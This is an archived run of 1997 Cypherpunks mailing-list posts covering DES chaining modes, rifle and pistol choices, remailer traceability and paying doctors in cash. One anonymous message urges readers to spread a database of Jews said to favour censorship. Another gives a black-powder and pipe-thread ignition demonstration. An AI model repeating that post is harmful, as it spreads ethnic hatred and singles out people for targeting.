>     c[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]
>     p[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]
> 
> The feedback possibilities are literally endless. The analysis of
the
> effects on security, speed, error propagation, etc., are left as an
> exercise for the reader. <grin>
 
> Some standard modes have been well analyzed and accepted. They also
are
> built into specialized cracking hardware. Offering and using
multiple
> modes and multiple algorithms raises the cost of building
specialized
> cracking hardware.

I'm kind-of skeptical of the big advantages of this.  I mean, if you
were convinced
someone with a DES-cracking engine was listening in on an encrypted
channel, 
and you really wanted to make sure they wouldn't manage to get any
plaintext, would
you rather alter your system to use some weird and not-too-well
analyzed chaining
mode, or alter your system to use DESX or Blowfish or something else
with a 
key length too big to be vulnerable to such keysearch machines? 
There clearly *are*
ways to get more than 56 bits of security out of DES.  However,
they're not generally
obvious, and even very bright cryptographers have shot themselves in
the foot trying
to design them.  (Remember 3DES with internal CBC-mode chaining,
Ladder DES, and
DES-Tran-DES-Tran-DES?)

--John Kelsey, kelsey@counterpane.com / kelsey@plnet.net
NEW PGP print =  5D91 6F57 2646 83F9 6D7F 9C87 886D 88AF
   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 23 Dec 1997 07:48:45 +0800
To: cypherpunks@cyberpass.net
Subject: Rich Graves and fight-censorship
Message-ID: <199712222344.AAA08997@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Can someone tell me why Rich Graves was kicked of fight-censorship some 
time ago?
Maybe Rich Graves himself will answer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 23 Dec 1997 17:07:15 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Best Cypherpunk long gun (fwd)
In-Reply-To: <199712230829.CAA23909@einstein.ssz.com>
Message-ID: <v03102809b0c51f3aa36d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:29 AM -0700 12/23/97, Jim Choate wrote:

>I would go for a HK 93 or G3 model myself w/ Zeiss 3x9 scope w/ some sort of
>laser designator for long range (> 200 yds.). Chambered in .308 and will give
>about a 4 to 6-in. group at 600 yds. from what I have seen - very handy for
>shooting throug 4 in. brick walls as well. Very accurate (a very popular
>sniper weapon) and more than forgiving with the environment. It's little

 I can't agree that the HK 91 (the .308 version) is a popular sniper
weapon. Very few are in use in the U.S. (Heckler and Koch does have the
PSG-1, but at $10K it's too steep for U.S. departments).

For sniper work, a bolt-action is by far the most popular piece. The
Remington PSS (Police Sniper Special, as I recall) is common. (I almost got
this model, but like the Varmint Synthetic--Stainless Fluted (VS-SF) a bit
more.)

Check out Plaster's "The Ultimate Sniper" for more on current sniper
weapons, current as of 1994-5.

I'm also skeptical about lasers, for daylight use. The three lasers I have
owned have been good for indoor use, but visibility outdoors during the day
is very poor.

(IR lasers with IR night vision gear is another matter, but also another
price matter, too.)


>brother the MP-5 pretty much owns the SWAT and similar sorts of jobs.


>Course you ain't gonna touch the HK for less than a few $k and the Desert
>Eagles are over $1k.
>

Speaking of the MP-5, I had the civilian model, the SP-89, for a few years.
This had a laser on it. Fun to shoot, but the 9mm rounds are too wimpy for
my taste. (Considering the targets I'm preparing to defend myself against
are wearing body armor.)

I sold the SP-89 for $2400, well over twice what I paid for it. BTW,
getting a functioning, legal MP-5 will cost more like $5K. Hardly worth it.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 23 Dec 1997 08:17:08 +0800
To: cypherpunks@cyberpass.net
Subject: The Jewish Defense League doesn't want you to know!
Message-ID: <199712230010.BAA12360@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Recently The Jewish Defense League succeded in shutting the domain ABBC.COM
hosting a database of publicly available information of Jews who endorse 
censorship.
The ISP CLEVER.NET forced Ahmed Ramito take off the list without any 
justifiable reason such as invasion of privacy.
Under U. S. law public figures must demonstrate actual malice to recover 
damages
for invasion of privacy and for defamation.
But the information is publicly available and not covered by privacy laws 
in the United States.
If you want to review what the extremist Jewish organization JDL doesn't want
you to know go to http://www.dejanews.com
Use the following search profile:
  ~a nobody@replay.com & Ahmed Rami 
Download it now and distribute it widely.
Remember to download all the article segments!
Be aware that The Jewish Defense League was founded by terrorist Meir 
Kahane whose Kach Movement
was labeled a terrorist organization by the U. S. State Department.
Related References:
http://abbc.com
http://www.hatewatch.org
http://www.jdl.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 15:14:41 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Lock and Load (fwd)
Message-ID: <199712230733.BAA23536@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Lock and Load (fwd)
> Date: Tue, 23 Dec 97 01:45:53 -0500
> From: "Brian B. Riley" <brianbr@together.net>

> >Would you be so kind as to give a specific example of a bolt action,
> >semi-automatic, or automatic rifle that can't be loaded on safe? I have
> >never seen a rifle that wouldn't allow this.
> 
>   Remington Model 8 semi-automatic rifle (circa 1905-1930+) there is one 
> (high three digit serial number made in 1906) chambered in .35 Remington 
> on the wall about 30 feet from where I am sitting. It's safety is right 
> side mounted and not only blocks the trigger but locks the bolt forward 
> both internally and externally by blocking track for the bolt handle, it 
> must be off to draw the bolt back to load the internal five round 
> pushdown magazine.

Right mounted safety? Sounds like a lefties gun. Safeties are usualy thumb
tripped which means they are on the left. The idea is you can safety the
weapon without taking your finger from the trigger. That could explain the
loading problem, guns built for lefties typicaly have all kinds of weird
handling issues. It sounds to me like a real nightmare to load and use in
the bush since you have to take your hand off the gun in order to get the
safety off while you load another round while cycling the bolt through its
action - eliminates snap shots that's for shure. Do you know if it is a
lefty build? If so then it clearly isn't a military grade weapon since they
are ubiquitously designed for right handed firers (at least until the last
20 yrs. or so).

Once the clip is in place, top feed since you said "push down", does the
safety prevent the cycling of ammo through the breech? Does it use a
stripper clip or a carrier? You don't happen to know the type of action?

Is this a military grade weapon or sport?

> >A parallel pistol example would be nice too, if you're so inclined.
> 
>  I don't know of any pistols .... except that in the case of the 
> ubiquitous military .45 (1911A1) while one can easily insert a magazine 
> with the gun on safe, it isn't truly loaded til a round is chambered 
> which involves coming out of safe to rack the slide

Interesting since the 1911 I use doesn't exhibit this ... I don't
have a problem loading it irrespecitive of the safety. If the safety is on
the hammer is blocked from the bottem by a lever. You can put ammo in it,
cock it via the slide, etc. Just can't pull the trigger. Will have to look
more into this...

Thanks for the info.

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 23 Dec 1997 16:17:06 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <v03102807b0c50470580c@[207.167.93.63]>
Message-ID: <199712230812.DAA12771@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102807b0c50470580c@[207.167.93.63]>, on 12/22/97 
   at 11:34 PM, Tim May <tcmay@got.net> said:

>There are those who recommend a cheaper SKS or AK-47 variant. I've never
>owned one, so can't honestly comment. The concensus in rec.guns and
>misc.survivalism seems to be that the AR shoots better and more
>accurately, but the AK-47 is more forgiving of bad conditions, dirt, etc.
>Inasmuch as I don't expect to be in the desert, or even any mud, I'll
>take the more accurate piece.

Well with my M ...er AR15, yeah AR15, I have sloped it through all kinds
of crap in the field with little trouble. While I have used the A2 models
I have not done extensive field testing with it. The increase in barrel
length seems to be a plus but I have concerns with the change in design of
the sight adjustments and how well they hold up under adverse conditions.
Myself I have never liked scopes on a field weapon, too much of a hassle
better reserved for hunting/snipping.

Never had any serious jamming problems with the exception of using blanks.
Nasty things, never could get through a clip without a jam. Thank god I
never have to use those things anymore, now if only someone could come up
with a "clean" tracer round. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 23 Dec 1997 14:47:52 +0800
To: "Jim Choate" <cypherpunks@ssz.com>
Subject: Re: Lock and Load (fwd)
Message-ID: <199712230645.BAA06694@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 12/22/97 6:40 PM, Jim Choate (ravage@ssz.com)  passed this wisdom:

>
>Forwarded message:
>
>> Subject: Re: Lock and Load 
>> Date: Mon, 22 Dec 97 17:59:49 -0500
>> From: "Brian B. Riley" <brianbr@together.net>
>
>> There are probably as many weapons where this is true as there where
>> it is not. In general it makes most sense to check for safe condition
>> before and after loading.
>
>Would you be so kind as to give a specific example of a bolt action,
>semi-automatic, or automatic rifle that can't be loaded on safe? I have
>never seen a rifle that wouldn't allow this.

  Remington Model 8 semi-automatic rifle (circa 1905-1930+) there is one 
(high three digit serial number made in 1906) chambered in .35 Remington 
on the wall about 30 feet from where I am sitting. It's safety is right 
side mounted and not only blocks the trigger but locks the bolt forward 
both internally and externally by blocking track for the bolt handle, it 
must be off to draw the bolt back to load the internal five round 
pushdown magazine. The design was based on the original Browning patent 
for a semi-automatic rifle. I remember through the years seeing at least 
three other weapons with similar mechanisms but I cannot recall make and 
model save that one of the was a Remington of 1920's vintage.

>A parallel pistol example would be nice too, if you're so inclined.

 I don't know of any pistols .... except that in the case of the 
ubiquitous military .45 (1911A1) while one can easily insert a magazine 
with the gun on safe, it isn't truly loaded til a round is chambered 
which involves coming out of safe to rack the slide .... as far as I am 
concerned the only 'safe' safety on a .45 is the half-cock position. I 
have seen a number of malfunctions of the thumb safety and the grip 
safety as well as the barrel disconnect safety.

 In another message someone commented on not dropping a .45 with the 
hammer back ... I have a friend in NJ who commanded another platoon in my 
recon company in Nam. He jumped down off a parapet and his .45 bounced 
out of his flak jacket pocket and went off putting a large hole in his 
foot (for which he earned the nickname "Quick Draw"). It had been in 
'condition 1' (full magazine inserted, round chambered, hammer at full 
cock, thumb safety on), but went off anyway. The armorer later said none 
of the parts seemed damaged or particularly worn, it just went off ... I 
am sure there's dozens more stories of loaded 45's going off when dropped.


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Civilization is the progress toward a society of privacy. The
   savage's whole existence is public, ruled by the laws of his tribe.
   Civilization is the process of setting man free from men."
    -- Ayn Rand - The Fountainhead (1943)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Tue, 23 Dec 1997 10:12:16 +0800
To: cypherpunks@toad.com
Subject: Re: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <349e6d47.103410314@nntp.best.ix.netcom.com>
Message-ID: <19971223020008.25945.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

gburnore@netcom.com (Gary L. Burnore) wrote:

> :The fact that the people making the claims could not afford to pay even the
> :costs probably influences the decision.  
>  
> Nope. If a lawyer believes he can win and there big money involved, he'll take
> it on the premise that he gets paid if he wins.   If the defendant has nothing
> to offer, the lawyer won't do it.  Thus, the falsly accused may not be able to
> afford to go to court.  The decision to sue is mostly based on how deep the
> pockets of the defendant would be.

Then what's the point of going to all the trouble of tracking someone down if
you're unwilling or unable to take appropriate legal action against him
after he's found?
 
> :So you're suggesting that the victim should suffer.  You are really saying
> :that it is perfectly acceptable for someone to be run out of a newsgroup by
> :a single person who refuses to be killfilable.
>  
>  
> Yup, that's what he's saying.

I don't recall ever saying that.  How do you run a person out of
an unmoderated NG?  And if it's moderated, and the moderator is allowing what
you consider libel against you, then you probably have a case against him.
That's what the courts decided in a landmark case against an ISP.  When you
manage the content then you become responsible for it as well.

Nor do I understand the "who refuses to be killfilable" part, either.  How can
someone you don't even know control your killfile?  I can killfile anyone I
want to, including "nobody@some_remailer".  I haven't killfiled anyone, but
I could do so if I wanted to.
 
> :>:The problem is that devising workable solutions to problems that don't yet
> :>:exist is much more difficult that resolving problems that do already exist.
> :>
> :>Many say the problem does exist.
> :
> :There are already problems with anonymous posts.  It's all about abuse "on" 
> :the net, in this case.  Everyone in the NANA groups say "That's abuse on the
> :net, not abuse of the net.  If someone is libelling or harassing you, take  
> :it up with the police."  A traceless remailer makes that impossible.
>  
> True.

Why would that prevent you from contacting the police?  But consider that 
libel is a civil tort not a criminal offense, so the police aren't likely to 
get involved, even if you could identify the culprit.

Using a remailer does not make a person unidentifiable, just untraceable.
There is a difference.
 
> :>Good point.  I again forgot he said "Are only for criminals"
> :
> :Oh, for crying out loud.  I'll try to be more precise.  Completely 
> :untraceable communications are only *needed* by people performing acts that
> :are illegal by the laws of all jurisdictions where an anonymous remailer
> :with trace logging exists.
>  
> You did it again.  If you change the word "only" to "sometimes" it would be
> more correct.

And probably no more so than pay phones or Netcom accounts.
 
> :>:> I still think he's mistaken by thinking that all who post anonymously are
> :>:> lawbreakers.
> :
> :I don't think that.  I never said that.
>  
> Yes, you did.  And you did it again above.  "only needed by people performing
> acts that are illegal"

Sounds the same to me.  I don't know how you could have one without the other.
 
> :>:I do too.  But his premise was used to support his suggested remedy.  If an
> :>:anonymous user is NOT presumed to be a criminal, then you can't justify
> :>:treating him like one.
> :
> :How is this "treating him like a criminal".  I'm asking for a very small
> :amount of information to be kept.  Far less than that required to open a
> :bank account.  Are you saying that banks are treating people like criminals 
> :when they ask for ID?
>
> True. Very True.  It should be "treat him like a suspect" and yes, the banks
> treat you like a suspect everytime they ask for ID.  They suspect you may be a
> criminal if they don't know you.  It's SUPPOSED to be that way.

Banks are a poor analogy, because anonymity is more analogous to paying cash.
When you sign your name to a check, you're already identifying yourself.
Banking is an inherently identity-based institution.  You're asking someone
to trust you, and it's up to you to prove yourself to be trustworthy.

A check is made valuable or worthless by virtue of the validity of its 
signature.  Ideas can be evaluated on their own merit, just like paper
currency can.  I don't need to see two forms of ID to determine whether that
$100 bill you just handed me is genuine or counterfeit.
 
> :>I still wonder about what to do about "suspects" on the net.  How do you
> :>investigate one suspected without harming those NOT suspected?
> :
> :This is my point.
>  
>  
> Duh, I know.

The solution being what?  Surrendering freedom for the sake of supposed
security?  I don't see that there is necessarily a dilemma between protecting
victims versus preserving the freedoms of average citizens.

It seems that every solution I offer Politas' is countered with a "yeah, but 
what about .... " objection.  In an imperfect world, government cannot 
completely protect people from themselves.

I'm really trying to understand what Politas' wants, but it's difficult.  I've
suggested several solutions to his hypothetical problems that don't infringe
on the freedoms of the innocent, but each is quickly rejected.

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 23 Dec 1997 16:25:30 +0800
To: "Brian B. Riley" <brianbr@together.net>
Subject: Re: Lock and Load (fwd)
In-Reply-To: <199712230740.CAA07602@mx02.together.net>
Message-ID: <199712230822.DAA12877@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712230740.CAA07602@mx02.together.net>, on 12/23/97 
   at 02:41 AM, "Brian B. Riley" <brianbr@together.net> said:

>The one 
>drawback to the weapon was it was a top eject and the it was said that 
>the ejecting shell distracted the eye of the shooter, personally I got 
>used to that within the first 100 round I fired with it.

It does eliminate the problem for a lefty shooting a standard right
ejector. The M16 has an adaptor for the ejector but you don't want to be
next to someone using it on the range (I learned this one the hard way,
trying to remove hot shells from underneath one's shit and flack jacket is
not the most fun of tasks).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 23 Dec 1997 15:19:27 +0800
To: "Cypherpunks Distributed Remailer" <cypherpunks@ssz.com>
Subject: Re: Lock and Load (fwd)
Message-ID: <199712230715.CAA31542@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/22/97 9:41 PM, Jim Choate (ravage@ssz.com)  passed this wisdom:

>As to the loading of the ball onto the gun-powder - you won't do it 
>the waydescribed above but once. The black powder will go off on 
>about the 3rd tapand you won't have the two hands it takes to load 
>a muzzle-loader. If you*ever* load a black powder be *absolutely 
>shure* that there is a ball pad between the gun powder and the 
>ball. It is *not* there for barrell sealingor some other silly 
>explanation - it's there to inhibit compressive explosion of the 
>black powder.

   It may indeed serve that purpose, but the patch does serve as a
sealant and when set up with the right lubricant it cleans the bore on
the way out. This gave birth to the expression "one shot clean" - done
right the bore is more or less always dirty from the last shot only as
that shot cleaned the residue of the prior shot out by it lubricated
patch. Civil war era muskets and later used a Minie ball, which was no
ball at all but a tapered projectile which had no patching at all,
just 5-700 grains (for a 58 cal musket, lighter for .45 and .50) of
pure soft lead with a dab of lubricant in the hollowed base.

>... Don't believe it, go down to the hardware orfeed 
>store and buy a small can of black powder. Then get a 3/4" pipe 
>andcap. Put only one or two flakes of the black powder on the 
>threads and thentighten with a pipe wrench (wear gloves, glasses, 
>and apron). After about a half turn or so you should hear a 
>distinct snapping sound. This is the blackpowder going off. This is 
>what will happen if black powder gets between theball and barrel 
>while you're tapping - and there's a *lot* more gunpowder than a 
>couple of flakes to take your hand (and your face if you're 
>sillyenough to be leaning over the barrel which is where not 
>looking down the barrel of a gun comes from).

 Quite right, but there's one more caveat you forgot here, Jim, when
using the rod to tamp the ball down, its done with one hand with the
rod held between two fingers. You sort of 'throw' the rod down onto
the bullet, actually letting go, never holding the rod firmly and
*never* putting your hand on top of the rod to push it down. (I saw
one guy get a rod from a 58 cal three band Enfield shot through his
hand at a musket shoot once and more than a few rods shot through
rooves or into roof timbers in the shooting sheds or several hundred
feet through the air on open ranges)

Friction isn't the only source of stray ignition, powder embers from a
prior shot when doing rapid fire shooting has been a common culprit.
We had one musket shoot on a god awful hot sunny summer day and by the
sixth and seventh rapid fire shots in the midday shooting the muskets
were hot enough to cook off powder when combined with a little bit too
forceful tamping, we had to curtail shooting til later in the day.

All in all, the guys who had to use muzzle-loading weapons in war,
personal defense, and hunting had to have been an adventuresome lot,
todays weapons are boring in comparison.

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Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Frisbeetarianism, n.: The belief that when you die, your soul goes
   up on the roof and gets stuck."  -- author unknown






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 23 Dec 1997 15:20:58 +0800
To: <cypherpunks@ssz.com>
Subject: Re: Lock and Load (fwd)
Message-ID: <199712230717.CAA31571@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/22/97 11:37 PM, Igor Chudov @ home (ichudov@Algebra.COM)  passed
this wisdom:

>I could field strip an AK (mind you, with all military gadgets) in 11
>seconds and assemble it back in 21 seconds.
>
>What crypto relevance does it have?

 Maybe it keeps Timmy happy to talk about guns ;-)
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Brian B. Riley --> http://members.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "The idea that Bill Gates has appeared like a knight in shining     
  armour to lead all customers out of a mire of technological        
  chaos neatly ignores the fact that it was he who, by peddling      
  second-rate technology, led them into it in the first place.       
			-- Douglas Adams, on Windows '95   	       






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 16:09:30 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Best Cypherpunk long gun (fwd)
Message-ID: <199712230829.CAA23909@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 22 Dec 1997 23:34:51 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Best Cypherpunk long gun

> Were I to recommend one rifle to meet most needs, it would be some variant
> of the AR-15, from Colt or Bushmaster or Olympic Arms, etc. About $800 for
> a common variant. No need for a collapsible stock.  This will handle social
> needs from short range, to a few hundred yards (maybe more).
> 
> There are those who recommend a cheaper SKS or AK-47 variant. I've never
> owned one, so can't honestly comment. The concensus in rec.guns and
> misc.survivalism seems to be that the AR shoots better and more accurately,
> but the AK-47 is more forgiving of bad conditions, dirt, etc. Inasmuch as I
> don't expect to be in the desert, or even any mud, I'll take the more
> accurate piece.

I would go for a HK 93 or G3 model myself w/ Zeiss 3x9 scope w/ some sort of
laser designator for long range (> 200 yds.). Chambered in .308 and will give
about a 4 to 6-in. group at 600 yds. from what I have seen - very handy for
shooting throug 4 in. brick walls as well. Very accurate (a very popular
sniper weapon) and more than forgiving with the environment. It's little
brother the MP-5 pretty much owns the SWAT and similar sorts of jobs.

A Desert Eagle chambered in .357 (you just *think* those .223 go through
vests) would be my close in choice.

Course you ain't gonna touch the HK for less than a few $k and the Desert
Eagles are over $1k.

> (The notion that the AR-15/M-16 "jams" is based on 35-year-old early
> experiences in Viet Nam, using an early design and early ammo. The jamming
> problems were fixed quickly, by changing the forward assist, changing the
> ammo a little, and teaching soldiers how to properly clean the weapon.)

Don't worry about it - go with a HK and you can fill the chamber with gunk
and the next cycle of the blowback bolt system will clear it. Excellent all
weather weapon. It'll even fire if un-oiled - not something you should do
with a M16/AR15.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 23 Dec 1997 15:42:58 +0800
To: "Jim Choate" <cypherpunks@ssz.com>
Subject: Re: Lock and Load (fwd)
Message-ID: <199712230740.CAA07602@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 12/23/97 2:33 AM, Jim Choate (ravage@ssz.com)  passed this wisdom:

>Right mounted safety? Sounds like a lefties gun. Safeties are usualy thumb
>tripped which means they are on the left. The idea is you can safety the
>weapon without taking your finger from the trigger. That could explain the
>loading problem, guns built for lefties typicaly have all kinds of weird
>handling issues. It sounds to me like a real nightmare to load and use in
>the bush since you have to take your hand off the gun in order to get the
>safety off while you load another round while cycling the bolt through its
>action - eliminates snap shots that's for shure. Do you know if it is a
>lefty build? If so then it clearly isn't a military grade weapon since they
>are ubiquitously designed for right handed firers (at least until the last
>20 yrs. or so).
>
>Once the clip is in place, top feed since you said "push down", does the
>safety prevent the cycling of ammo through the breech? Does it use a
>stripper clip or a carrier? You don't happen to know the type of action?

 It was the first cicilian marketed semi-auto in the country ... the 
right hand safety can be operated and usually is by the thumb of the 
right hand its a big flat lever with a good sized tab on it, just extend 
the right thumb and push down. The magazine was a non removeable clip 
that could only be loaded from the top, no stripper clips. The one 
drawback to the weapon was it was a top eject and the it was said that 
the ejecting shell distracted the eye of the shooter, personally I got 
used to that within the first 100 round I fired with it.

>Is this a military grade weapon or sport?
>
>> >A parallel pistol example would be nice too, if you're so inclined.
>> 
>>  I don't know of any pistols .... except that in the case of the 
>> ubiquitous military .45 (1911A1) while one can easily insert a magazine 
>> with the gun on safe, it isn't truly loaded til a round is chambered 
>> which involves coming out of safe to rack the slide
>
>Interesting since the 1911 I use doesn't exhibit this ... I don't
>have a problem loading it irrespecitive of the safety. If the safety is on
>the hammer is blocked from the bottem by a lever. You can put ammo in it,
>cock it via the slide, etc. Just can't pull the trigger. Will have to look
>more into this...

  agreed ... but .. my point is that racking the slide to chamber a round 
invlved bring the weapon to full cock, which, considering the abysmal 
track record of the the thumb safety removed the weapon from the only 
really safet state which was half-cock ... but that is maybe splitting 
hairs ...

Merry Christmas to you too ... we here in Vermont are having a *very* 
white Christmas already with more snow coming tonite and tomorrow ...



Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "When hell freezes over, grab your ice skates."
      -- Mark Johnson






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 16:32:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Lock and Load (fwd)
Message-ID: <199712230852.CAA24130@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Lock and Load (fwd)
> Date: Tue, 23 Dec 97 02:41:03 -0500
> From: "Brian B. Riley" <brianbr@together.net>

>  It was the first cicilian marketed semi-auto in the country

This doesn't use a Mauser 1898 action does it? The top feed 5-round clip is
my first clue...

As to first semi-automatic in the country, I believe  the Springfield 1903
has that particular honor. It used a Mauser '98 action also. It's also where
.30-06 got the 06 from...also very popular in WW1 and used as a sniper rifle
through Normandy, after which the Garand pretty much took over.

> ... the 
> right hand safety can be operated and usually is by the thumb of the 
> right hand its a big flat lever with a good sized tab on it, just extend 
> the right thumb and push down.

How can that work if the R. thumb is on the L. side of the gun while the
safety is on the R. side of the gun? Your description leaves me with one of
two mental images. Either my hand is off the trigger guard and I have a loaded
and unsafed weapon or else I have to do some sort of finger gynmastics
around the trigger guard in the same unsafed condition. Scares the be-jesus
out of me...an errant twig could fire a round.

> The magazine was a non removeable clip 
> that could only be loaded from the top, no stripper clips. The one 
> drawback to the weapon was it was a top eject and the it was said that 
> the ejecting shell distracted the eye of the shooter, personally I got 
> used to that within the first 100 round I fired with it.

Yep, bet this is some sort of Mauser '98 action...

> Merry Christmas to you too ... we here in Vermont are having a *very* 
> white Christmas already with more snow coming tonite and tomorrow ...

We're supposed to get rain and more rain starting tomorrow. They say it might
be clear on Christmas but the rain returns on Friday...;(

Stay warm & thanks for the discussion.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 23 Dec 1997 16:58:59 +0800
To: Secret Squirrel <anon@squirrel.owl.de>
Subject: Re: Get your Anthrax shots
In-Reply-To: <adea223d151b9c9a967851b13a3db691@squirrel>
Message-ID: <199712230857.DAA13150@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <adea223d151b9c9a967851b13a3db691@squirrel>, on 12/23/97 
   at 08:01 AM, Secret Squirrel <anon@squirrel.owl.de> said:


>>Well I don't know about you Tim but my Doctors only know me as Mr. Cash.
>>:)

>How'd you pull that one off? All kinds of personal information, including
>your name, is included in medical records which the doctors have to keep
>up to date and reference. When you go in you'd have to give them your
>name.

>Now on the other hand I suppose you could go in, say you don't have
>insurance, give a fake name, and pay in cash always. It would still be
>trivial to ambush you at a scheduled doctor appointment. And I think
>Klintonkov has done a good job of discouraging privately funded medical
>care.

I make it a strict policy of paying cash for everything when possessable.
Outside of my pediatrition from my childhood no doctor has records on me
(at least none with my name attached to them). I don't deal with fake
names or any other attempts to deceive my doctors. I just simply tell the
that I am paying cash and I wish to keep all my records, end of
discussion. I have yet to have a doctor or dentists protest over this (BTW
I don't deal with the hired help in the doctors office but deal directly
